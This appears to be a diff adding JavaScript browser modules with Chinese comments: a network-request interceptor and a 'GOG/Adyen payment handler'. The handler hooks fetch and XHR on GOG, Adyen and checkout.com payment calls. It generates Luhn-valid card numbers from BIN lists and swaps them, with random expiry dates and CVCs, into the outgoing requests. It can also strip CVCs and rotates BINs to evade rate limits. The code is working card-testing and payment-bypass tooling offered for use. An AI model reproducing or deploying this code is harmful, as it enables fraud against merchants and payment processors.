bodySize: body ? (typeof body === 'string' ? body.length : 'N/A') : 0,
|
||||
timestamp: Date.now(),
|
||||
status: null,
|
||||
analyzed: false
|
||||
};
|
||||
|
||||
this.interceptedRequests.push(entry);
|
||||
|
||||
// 限制日誌大小
|
||||
if (this.interceptedRequests.length > this.config.maxLogEntries) {
|
||||
this.interceptedRequests.shift();
|
||||
}
|
||||
|
||||
return requestId;
|
||||
}
|
||||
|
||||
updateRequestLog(requestId, updates) {
|
||||
if (!requestId) return;
|
||||
|
||||
const entry = this.interceptedRequests.find(e => e.id === requestId);
|
||||
if (entry) {
|
||||
Object.assign(entry, updates);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取請求日誌
|
||||
*/
|
||||
getRequestLog(filter = {}) {
|
||||
let logs = [...this.interceptedRequests];
|
||||
|
||||
if (filter.gateway) {
|
||||
logs = logs.filter(log => log.url.includes(filter.gateway));
|
||||
}
|
||||
|
||||
if (filter.method) {
|
||||
logs = logs.filter(log => log.method === filter.method);
|
||||
}
|
||||
|
||||
if (filter.analyzed !== undefined) {
|
||||
logs = logs.filter(log => log.analyzed === filter.analyzed);
|
||||
}
|
||||
|
||||
return logs;
|
||||
}
|
||||
|
||||
/**
|
||||
* 清空日誌
|
||||
*/
|
||||
clearLog() {
|
||||
this.interceptedRequests = [];
|
||||
this.log('Request log cleared');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 工具方法
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
extractUrl(resource) {
|
||||
if (typeof resource === 'string') {
|
||||
return resource;
|
||||
} else if (resource instanceof Request) {
|
||||
return resource.url;
|
||||
} else if (resource instanceof URL) {
|
||||
return resource.toString();
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
isTargetUrl(url) {
|
||||
if (!url) return false;
|
||||
const urlLower = url.toLowerCase();
|
||||
return this.config.targetGateways.some(gateway =>
|
||||
urlLower.includes(gateway.toLowerCase())
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 消息監聽
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
setupMessageListener() {
|
||||
window.addEventListener('message', (event) => {
|
||||
const data = event.data;
|
||||
|
||||
if (data?.type === 'INTERCEPTOR_UPDATE_CONFIG') {
|
||||
this.updateConfig(data.config);
|
||||
}
|
||||
|
||||
if (data?.type === 'INTERCEPTOR_GET_LOGS') {
|
||||
window.postMessage({
|
||||
type: 'INTERCEPTOR_LOGS_RESPONSE',
|
||||
logs: this.interceptedRequests
|
||||
}, '*');
|
||||
}
|
||||
|
||||
if (data?.type === 'INTERCEPTOR_CLEAR_LOGS') {
|
||||
this.clearLog();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新配置
|
||||
*/
|
||||
updateConfig(newConfig) {
|
||||
Object.assign(this.config, newConfig);
|
||||
this.log('Config updated:', this.config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取狀態
|
||||
*/
|
||||
getStatus() {
|
||||
return {
|
||||
enabled: this.config.enabled,
|
||||
totalRequests: this.interceptedRequests.length,
|
||||
targetGateways: this.config.targetGateways,
|
||||
listeners: Array.from(this.listeners.keys())
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 全局 API
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
exposeGlobalAPI() {
|
||||
window.networkSpy = {
|
||||
module: this,
|
||||
on: (event, callback) => this.on(event, callback),
|
||||
getLogs: (filter) => this.getRequestLog(filter),
|
||||
clearLogs: () => this.clearLog(),
|
||||
getStatus: () => this.getStatus(),
|
||||
updateConfig: (cfg) => this.updateConfig(cfg)
|
||||
};
|
||||
|
||||
this.log('Global API exposed as window.networkSpy');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 日誌工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[NetworkSpy]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
success(msg) {
|
||||
console.log(`%c[NetworkSpy SUCCESS] ${msg}`, 'color: green; font-weight: bold;');
|
||||
}
|
||||
|
||||
warn(msg) {
|
||||
console.log(`%c[NetworkSpy WARN] ${msg}`, 'color: orange; font-weight: bold;');
|
||||
}
|
||||
|
||||
error(...args) {
|
||||
console.error('[NetworkSpy ERROR]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 全局暴露與自動初始化
|
||||
* ============================================================================
|
||||
*/
|
||||
window.FetchInterceptorModule = FetchInterceptorModule;
|
||||
|
||||
// 自動初始化選項
|
||||
if (typeof INTERCEPTOR_AUTO_INIT !== 'undefined' && INTERCEPTOR_AUTO_INIT) {
|
||||
const instance = new FetchInterceptorModule({
|
||||
enabled: true,
|
||||
debug: true
|
||||
});
|
||||
instance.init();
|
||||
window.__networkSpy = instance;
|
||||
}
|
||||
|
||||
977
modules/GogPaymentHandlerModule.js
Normal file
977
modules/GogPaymentHandlerModule.js
Normal file
@@ -0,0 +1,977 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* GOG/Adyen Payment Handler Module (Modularized Version)
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. 攔截 GOG/Adyen 支付請求
|
||||
* 2. 解析多種請求體格式 (JSON/FormData/URLSearchParams)
|
||||
* 3. 根據 BIN 列表自動生成有效卡號
|
||||
* 4. 替換原始請求中的卡號、有效期、CVC
|
||||
* 5. 支持 CVC 移除邏輯
|
||||
* 6. 輪詢多個 BIN 以繞過頻率限制
|
||||
*
|
||||
* 使用方式:
|
||||
* const handler = new GogPaymentHandlerModule(config);
|
||||
* handler.init();
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class GogPaymentHandlerModule {
|
||||
constructor(config = {}) {
|
||||
// 默認配置
|
||||
this.config = {
|
||||
enabled: true, // 是否啟用模塊
|
||||
debug: false, // 調試模式
|
||||
removeCvc: false, // 是否移除 CVC
|
||||
binList: [], // BIN 列表 (例: ['424242', '378282'])
|
||||
autoRotateBin: true, // 自動輪詢 BIN
|
||||
targetDomains: [ // 目標域名
|
||||
'gog.com',
|
||||
'adyen.com',
|
||||
'checkout.com'
|
||||
],
|
||||
targetKeywords: [ // URL 關鍵詞
|
||||
'payment',
|
||||
'checkout',
|
||||
'adyen',
|
||||
'paymentMethods',
|
||||
'payments'
|
||||
],
|
||||
cardFields: { // 卡字段映射
|
||||
number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'],
|
||||
month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'],
|
||||
year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'],
|
||||
cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc']
|
||||
},
|
||||
saveToStorage: true, // 保存最後使用的卡信息
|
||||
storageKeys: {
|
||||
lastCard: 'gogBypasserLastCardString',
|
||||
lastCardJson: 'gogBypasserLastCardJSON',
|
||||
binIndex: 'gogBypasserBinIndex'
|
||||
},
|
||||
...config
|
||||
};
|
||||
|
||||
// 運行時狀態
|
||||
this.currentBinIndex = 0;
|
||||
this.lastResetTime = Date.now();
|
||||
this.processedRequests = new Set();
|
||||
this.cardGenerator = null;
|
||||
|
||||
// 原始方法引用
|
||||
this.originalFetch = null;
|
||||
this.originalXHROpen = null;
|
||||
this.originalXHRSend = null;
|
||||
|
||||
// 綁定方法
|
||||
this.handleFetch = this.handleFetch.bind(this);
|
||||
this.handleXHR = this.handleXHR.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化模塊
|
||||
*/
|
||||
init() {
|
||||
this.log('Initializing GOG Payment Handler Module...');
|
||||
|
||||
// 1. 加載 BIN 索引
|
||||
this.loadBinIndex();
|
||||
|
||||
// 2. 初始化卡號生成器
|
||||
this.initCardGenerator();
|
||||
|
||||
// 3. Hook 網絡請求
|
||||
this.hookFetch();
|
||||
this.hookXHR();
|
||||
|
||||
// 4. 註冊消息監聽
|
||||
this.setupMessageListener();
|
||||
|
||||
// 5. 暴露全局接口
|
||||
this.exposeGlobalAPI();
|
||||
|
||||
this.log('Module initialized successfully');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀模塊
|
||||
*/
|
||||
destroy() {
|
||||
if (this.originalFetch) {
|
||||
window.fetch = this.originalFetch;
|
||||
}
|
||||
if (this.originalXHROpen) {
|
||||
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
||||
}
|
||||
if (this.originalXHRSend) {
|
||||
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
||||
}
|
||||
|
||||
this.log('Module destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* BIN 管理
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 加載 BIN 索引
|
||||
*/
|
||||
loadBinIndex() {
|
||||
try {
|
||||
if (this.config.saveToStorage && window.localStorage) {
|
||||
const saved = localStorage.getItem(this.config.storageKeys.binIndex);
|
||||
if (saved) {
|
||||
this.currentBinIndex = parseInt(saved, 10) || 0;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.warn('Failed to load BIN index from storage:', e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存 BIN 索引
|
||||
*/
|
||||
saveBinIndex() {
|
||||
try {
|
||||
if (this.config.saveToStorage && window.localStorage) {
|
||||
localStorage.setItem(
|
||||
this.config.storageKeys.binIndex,
|
||||
String(this.currentBinIndex)
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
// Ignore
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取下一個 BIN
|
||||
*/
|
||||
getNextBin() {
|
||||
if (this.config.binList.length === 0) {
|
||||
this.warn('BIN list is empty');
|
||||
return null;
|
||||
}
|
||||
|
||||
const bin = this.config.binList[this.currentBinIndex % this.config.binList.length];
|
||||
|
||||
if (this.config.autoRotateBin) {
|
||||
this.currentBinIndex++;
|
||||
this.saveBinIndex();
|
||||
}
|
||||
|
||||
return bin;
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新 BIN 列表
|
||||
*/
|
||||
updateBinList(newBins) {
|
||||
if (Array.isArray(newBins)) {
|
||||
this.config.binList = newBins
|
||||
.filter(b => b && typeof b === 'string')
|
||||
.map(b => b.trim())
|
||||
.filter(b => b.length >= 6);
|
||||
} else if (typeof newBins === 'string') {
|
||||
// 支持換行符分隔
|
||||
this.config.binList = newBins
|
||||
.split('\n')
|
||||
.map(b => b.trim())
|
||||
.filter(b => b.length >= 6);
|
||||
}
|
||||
|
||||
this.log('BIN list updated:', this.config.binList);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 卡號生成器
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 初始化卡號生成器
|
||||
*/
|
||||
initCardGenerator() {
|
||||
// 嘗試使用全局生成器
|
||||
if (window.StripeBypasserCardGenerator) {
|
||||
this.cardGenerator = window.StripeBypasserCardGenerator;
|
||||
this.log('Using global card generator');
|
||||
return;
|
||||
}
|
||||
|
||||
// 否則使用內置生成器
|
||||
this.cardGenerator = {
|
||||
generateCard: (bin) => this.generateCardInternal(bin)
|
||||
};
|
||||
|
||||
this.log('Using internal card generator');
|
||||
}
|
||||
|
||||
/**
|
||||
* 內置卡號生成器 (Luhn 算法)
|
||||
*/
|
||||
generateCardInternal(bin) {
|
||||
if (!bin || bin.length < 6) {
|
||||
this.error('Invalid BIN:', bin);
|
||||
return null;
|
||||
}
|
||||
|
||||
// 生成隨機補充數字 (總長度 16 位)
|
||||
let cardNumber = bin;
|
||||
while (cardNumber.length < 15) {
|
||||
cardNumber += Math.floor(Math.random() * 10);
|
||||
}
|
||||
|
||||
// 計算 Luhn 校驗位
|
||||
const checkDigit = this.calculateLuhnCheckDigit(cardNumber);
|
||||
cardNumber += checkDigit;
|
||||
|
||||
// 生成隨機有效期和 CVC
|
||||
const currentYear = new Date().getFullYear();
|
||||
const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0');
|
||||
const year = String(currentYear + Math.floor(Math.random() * 5) + 1);
|
||||
const cvc = String(Math.floor(Math.random() * 900) + 100);
|
||||
|
||||
return {
|
||||
number: cardNumber,
|
||||
month: month,
|
||||
year: year,
|
||||
cvc: cvc
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Luhn 算法校驗位計算
|
||||
*/
|
||||
calculateLuhnCheckDigit(cardNumber) {
|
||||
let sum = 0;
|
||||
let shouldDouble = true;
|
||||
|
||||
for (let i = cardNumber.length - 1; i >= 0; i--) {
|
||||
let digit = parseInt(cardNumber[i], 10);
|
||||
|
||||
if (shouldDouble) {
|
||||
digit *= 2;
|
||||
if (digit > 9) digit -= 9;
|
||||
}
|
||||
|
||||
sum += digit;
|
||||
shouldDouble = !shouldDouble;
|
||||
}
|
||||
|
||||
const checkDigit = (10 - (sum % 10)) % 10;
|
||||
return String(checkDigit);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Fetch Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookFetch() {
|
||||
if (this.originalFetch) return;
|
||||
|
||||
this.originalFetch = window.fetch;
|
||||
const self = this;
|
||||
|
||||
window.fetch = async function(...args) {
|
||||
return await self.handleFetch(this, args, self.originalFetch);
|
||||
};
|
||||
|
||||
this.log('Fetch API hooked');
|
||||
}
|
||||
|
||||
async handleFetch(context, args, originalFetch) {
|
||||
const [url, options = {}] = args;
|
||||
const urlString = this.normalizeUrl(url);
|
||||
|
||||
// 檢查是否為目標請求
|
||||
if (!this.isTargetRequest(urlString)) {
|
||||
return await originalFetch.apply(context, args);
|
||||
}
|
||||
|
||||
this.log('Intercepted payment request:', urlString);
|
||||
|
||||
// 處理支付請求
|
||||
const modifiedOptions = await this.processPaymentRequest(url, options);
|
||||
|
||||
// 發送修改後的請求
|
||||
return await originalFetch.apply(context, [url, modifiedOptions]);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* XHR Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookXHR() {
|
||||
if (this.originalXHROpen) return;
|
||||
|
||||
this.originalXHROpen = XMLHttpRequest.prototype.open;
|
||||
this.originalXHRSend = XMLHttpRequest.prototype.send;
|
||||
const self = this;
|
||||
|
||||
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
|
||||
this._gogUrl = self.normalizeUrl(url);
|
||||
this._gogMethod = method;
|
||||
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
||||
};
|
||||
|
||||
XMLHttpRequest.prototype.send = function(body) {
|
||||
const url = this._gogUrl;
|
||||
|
||||
if (!self.isTargetRequest(url)) {
|
||||
return self.originalXHRSend.apply(this, [body]);
|
||||
}
|
||||
|
||||
self.log('Intercepted XHR payment request:', url);
|
||||
|
||||
// 處理 XHR 請求體
|
||||
const options = {
|
||||
method: this._gogMethod,
|
||||
body: body,
|
||||
headers: {}
|
||||
};
|
||||
|
||||
self.processPaymentRequest(url, options).then(modifiedOptions => {
|
||||
self.originalXHRSend.apply(this, [modifiedOptions.body]);
|
||||
}).catch(err => {
|
||||
self.error('XHR modification failed:', err);
|
||||
self.originalXHRSend.apply(this, [body]);
|
||||
});
|
||||
};
|
||||
|
||||
this.log('XHR hooked');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 請求處理核心邏輯
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 處理支付請求
|
||||
*/
|
||||
async processPaymentRequest(url, options) {
|
||||
if (!this.config.enabled) {
|
||||
return options;
|
||||
}
|
||||
|
||||
// 檢查是否有 BIN 列表
|
||||
if (this.config.binList.length === 0) {
|
||||
this.warn('BIN list is empty, skipping modification');
|
||||
return options;
|
||||
}
|
||||
|
||||
// 獲取下一個 BIN
|
||||
const bin = this.getNextBin();
|
||||
if (!bin) {
|
||||
return options;
|
||||
}
|
||||
|
||||
// 生成新卡號
|
||||
const card = this.cardGenerator.generateCard(bin);
|
||||
if (!card) {
|
||||
this.error('Failed to generate card for BIN:', bin);
|
||||
return options;
|
||||
}
|
||||
|
||||
this.log('Generated card:', {
|
||||
number: card.number.slice(0, 6) + '******' + card.number.slice(-4),
|
||||
month: card.month,
|
||||
year: card.year
|
||||
});
|
||||
|
||||
// 解析和修改請求體
|
||||
const modifiedBody = await this.modifyRequestBody(options.body, card);
|
||||
|
||||
// 保存卡信息
|
||||
this.saveCardInfo(card);
|
||||
|
||||
// 廣播事件
|
||||
this.broadcastCardGenerated(card, url);
|
||||
|
||||
return {
|
||||
...options,
|
||||
body: modifiedBody
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改請求體
|
||||
*/
|
||||
async modifyRequestBody(body, card) {
|
||||
if (!body) return body;
|
||||
|
||||
const bodyType = this.detectBodyType(body);
|
||||
this.log('Request body type:', bodyType);
|
||||
|
||||
switch (bodyType) {
|
||||
case 'json':
|
||||
return this.modifyJsonBody(body, card);
|
||||
case 'formdata':
|
||||
return this.modifyFormDataBody(body, card);
|
||||
case 'urlsearchparams':
|
||||
return this.modifyUrlSearchParamsBody(body, card);
|
||||
case 'string':
|
||||
return this.modifyStringBody(body, card);
|
||||
default:
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 檢測請求體類型
|
||||
*/
|
||||
detectBodyType(body) {
|
||||
if (typeof body === 'string') {
|
||||
try {
|
||||
JSON.parse(body);
|
||||
return 'json';
|
||||
} catch (e) {
|
||||
if (body.includes('=')) {
|
||||
return 'urlsearchparams';
|
||||
}
|
||||
return 'string';
|
||||
}
|
||||
}
|
||||
|
||||
if (body instanceof FormData) return 'formdata';
|
||||
if (body instanceof URLSearchParams) return 'urlsearchparams';
|
||||
if (typeof body === 'object') return 'json';
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改 JSON 格式請求體
|
||||
*/
|
||||
modifyJsonBody(body, card) {
|
||||
try {
|
||||
const data = typeof body === 'string' ? JSON.parse(body) : body;
|
||||
|
||||
// 處理嵌套結構 (例: { card: { number: '...', ... } })
|
||||
if (data.card && typeof data.card === 'object') {
|
||||
data.card.number = card.number;
|
||||
data.card.expiryMonth = card.month;
|
||||
data.card.expiryYear = card.year;
|
||||
|
||||
if (this.config.removeCvc) {
|
||||
delete data.card.cvc;
|
||||
delete data.card.cvv;
|
||||
delete data.card.securityCode;
|
||||
} else {
|
||||
data.card.cvc = card.cvc;
|
||||
}
|
||||
}
|
||||
|
||||
// 處理扁平結構
|
||||
for (const field of this.config.cardFields.number) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.number);
|
||||
}
|
||||
}
|
||||
|
||||
for (const field of this.config.cardFields.month) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.month);
|
||||
}
|
||||
}
|
||||
|
||||
for (const field of this.config.cardFields.year) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.year);
|
||||
}
|
||||
}
|
||||
|
||||
if (this.config.removeCvc) {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
this.deleteNestedProperty(data, field);
|
||||
}
|
||||
} else {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.cvc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.log('JSON body modified successfully');
|
||||
return JSON.stringify(data);
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify JSON body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改 FormData 格式請求體
|
||||
*/
|
||||
modifyFormDataBody(body, card) {
|
||||
try {
|
||||
const newFormData = new FormData();
|
||||
|
||||
for (const [key, value] of body.entries()) {
|
||||
let modified = false;
|
||||
|
||||
// 檢查是否為卡號字段
|
||||
for (const field of this.config.cardFields.number) {
|
||||
if (key.includes(field) || key === field) {
|
||||
newFormData.append(key, card.number);
|
||||
modified = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!modified) {
|
||||
// 檢查月份
|
||||
for (const field of this.config.cardFields.month) {
|
||||
if (key.includes(field) || key === field) {
|
||||
newFormData.append(key, card.month);
|
||||
modified = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!modified) {
|
||||
// 檢查年份
|
||||
for (const field of this.config.cardFields.year) {
|
||||
if (key.includes(field) || key === field) {
|
||||
newFormData.append(key, card.year);
|
||||
modified = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!modified) {
|
||||
// 檢查 CVC
|
||||
const isCvcField = this.config.cardFields.cvc.some(f =>
|
||||
key.includes(f) || key === f
|
||||
);
|
||||
|
||||
if (isCvcField) {
|
||||
if (!this.config.removeCvc) {
|
||||
newFormData.append(key, card.cvc);
|
||||
}
|
||||
modified = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 如果沒有修改,保持原值
|
||||
if (!modified) {
|
||||
newFormData.append(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
this.log('FormData body modified successfully');
|
||||
return newFormData;
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify FormData body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改 URLSearchParams 格式請求體
|
||||
*/
|
||||
modifyUrlSearchParamsBody(body, card) {
|
||||
try {
|
||||
const params = typeof body === 'string'
|
||||
? new URLSearchParams(body)
|
||||
: new URLSearchParams(body.toString());
|
||||
|
||||
// 替換卡號
|
||||
for (const field of this.config.cardFields.number) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.number);
|
||||
}
|
||||
}
|
||||
|
||||
// 替換月份
|
||||
for (const field of this.config.cardFields.month) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.month);
|
||||
}
|
||||
}
|
||||
|
||||
// 替換年份
|
||||
for (const field of this.config.cardFields.year) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.year);
|
||||
}
|
||||
}
|
||||
|
||||
// 處理 CVC
|
||||
if (this.config.removeCvc) {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
params.delete(field);
|
||||
}
|
||||
} else {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.cvc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.log('URLSearchParams body modified successfully');
|
||||
return params.toString();
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify URLSearchParams body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改字符串格式請求體 (純文本或其他格式)
|
||||
*/
|
||||
modifyStringBody(body, card) {
|
||||
try {
|
||||
let modified = body;
|
||||
|
||||
// 使用正則表達式替換卡號模式
|
||||
// 匹配 13-19 位數字
|
||||
const cardNumberPattern = /\b\d{13,19}\b/g;
|
||||
modified = modified.replace(cardNumberPattern, card.number);
|
||||
|
||||
this.log('String body modified (pattern matching)');
|
||||
return modified;
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify string body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 嵌套對象處理工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 檢查嵌套屬性是否存在
|
||||
*/
|
||||
hasNestedProperty(obj, path) {
|
||||
const keys = path.split('.');
|
||||
let current = obj;
|
||||
|
||||
for (const key of keys) {
|
||||
if (current && typeof current === 'object' && key in current) {
|
||||
current = current[key];
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 設置嵌套屬性
|
||||
*/
|
||||
setNestedProperty(obj, path, value) {
|
||||
const keys = path.split('.');
|
||||
let current = obj;
|
||||
|
||||
for (let i = 0; i < keys.length - 1; i++) {
|
||||
const key = keys[i];
|
||||
if (!(key in current)) {
|
||||
current[key] = {};
|
||||
}
|
||||
current = current[key];
|
||||
}
|
||||
|
||||
current[keys[keys.length - 1]] = value;
|
||||
}
|
||||
|
||||
/**
|
||||
* 刪除嵌套屬性
|
||||
*/
|
||||
deleteNestedProperty(obj, path) {
|
||||
const keys = path.split('.');
|
||||
let current = obj;
|
||||
|
||||
for (let i = 0; i < keys.length - 1; i++) {
|
||||
const key = keys[i];
|
||||
if (!(key in current)) {
|
||||
return;
|
||||
}
|
||||
current = current[key];
|
||||
}
|
||||
|
||||
delete current[keys[keys.length - 1]];
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 存儲與廣播
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 保存卡信息到 LocalStorage
|
||||
*/
|
||||
saveCardInfo(card) {
|
||||
if (!this.config.saveToStorage) return;
|
||||
|
||||
try {
|
||||
const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`;
|
||||
|
||||
localStorage.setItem(
|
||||
this.config.storageKeys.lastCard,
|
||||
cardString
|
||||
);
|
||||
|
||||
localStorage.setItem(
|
||||
this.config.storageKeys.lastCardJson,
|
||||
JSON.stringify(card)
|
||||
);
|
||||
|
||||
this.log('Card info saved to storage');
|
||||
|
||||
} catch (e) {
|
||||
this.warn('Failed to save card info:', e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 從 LocalStorage 加載最後的卡信息
|
||||
*/
|
||||
getLastCardInfo() {
|
||||
try {
|
||||
const json = localStorage.getItem(this.config.storageKeys.lastCardJson);
|
||||
if (json) {
|
||||
return JSON.parse(json);
|
||||
}
|
||||
} catch (e) {
|
||||
// Ignore
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 廣播卡號生成事件
|
||||
*/
|
||||
broadcastCardGenerated(card, url) {
|
||||
// postMessage 廣播
|
||||
window.postMessage({
|
||||
type: 'GOG_BYPASSER_EVENT',
|
||||
eventType: 'CARD_GENERATED',
|
||||
card: {
|
||||
number: card.number,
|
||||
month: card.month,
|
||||
year: card.year,
|
||||
cvc: this.config.removeCvc ? null : card.cvc,
|
||||
maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4)
|
||||
},
|
||||
url: url,
|
||||
timestamp: Date.now()
|
||||
}, '*');
|
||||
|
||||
// CustomEvent 廣播
|
||||
if (document) {
|
||||
document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', {
|
||||
detail: {
|
||||
card: card,
|
||||
url: url
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 工具方法
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 標準化 URL
|
||||
*/
|
||||
normalizeUrl(url) {
|
||||
try {
|
||||
if (typeof url === 'string') return url;
|
||||
if (url instanceof URL) return url.toString();
|
||||
if (url && url.url) return url.url;
|
||||
return String(url);
|
||||
} catch (e) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 判斷是否為目標請求
|
||||
*/
|
||||
isTargetRequest(url) {
|
||||
if (!url) return false;
|
||||
|
||||
const urlLower = url.toLowerCase();
|
||||
|
||||
// 檢查域名
|
||||
const domainMatch = this.config.targetDomains.some(domain =>
|
||||
urlLower.includes(domain.toLowerCase())
|
||||
);
|
||||
|
||||
// 檢查關鍵詞
|
||||
const keywordMatch = this.config.targetKeywords.some(keyword =>
|
||||
urlLower.includes(keyword.toLowerCase())
|
||||
);
|
||||
|
||||
return domainMatch || keywordMatch;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 消息監聽
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
setupMessageListener() {
|
||||
window.addEventListener('message', (event) => {
|
||||
const data = event.data;
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') {
|
||||
this.updateConfig(data.config);
|
||||
}
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_UPDATE_BIN') {
|
||||
this.updateBinList(data.bins);
|
||||
}
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_RESET') {
|
||||
this.reset();
|
||||
}
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_GENERATE_CARD') {
|
||||
const bin = data.bin || this.getNextBin();
|
||||
const card = this.cardGenerator.generateCard(bin);
|
||||
|
||||
// 回復消息
|
||||
window.postMessage({
|
||||
type: 'GOG_HANDLER_CARD_RESPONSE',
|
||||
card: card
|
||||
}, '*');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 配置管理
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 更新配置
|
||||
*/
|
||||
updateConfig(newConfig) {
|
||||
Object.assign(this.config, newConfig);
|
||||
|
||||
// 如果更新了 BIN 列表,處理它
|
||||
if (newConfig.binList) {
|
||||
this.updateBinList(newConfig.binList);
|
||||
}
|
||||
|
||||
this.log('Config updated:', this.config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 重置狀態
|
||||
*/
|
||||
reset() {
|
||||
this.currentBinIndex = 0;
|
||||
this.processedRequests.clear();
|
||||
this.saveBinIndex();
|
||||
this.log('Module state reset');
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取當前狀態
|
||||
*/
|
||||
getStatus() {
|
||||
return {
|
||||
enabled: this.config.enabled,
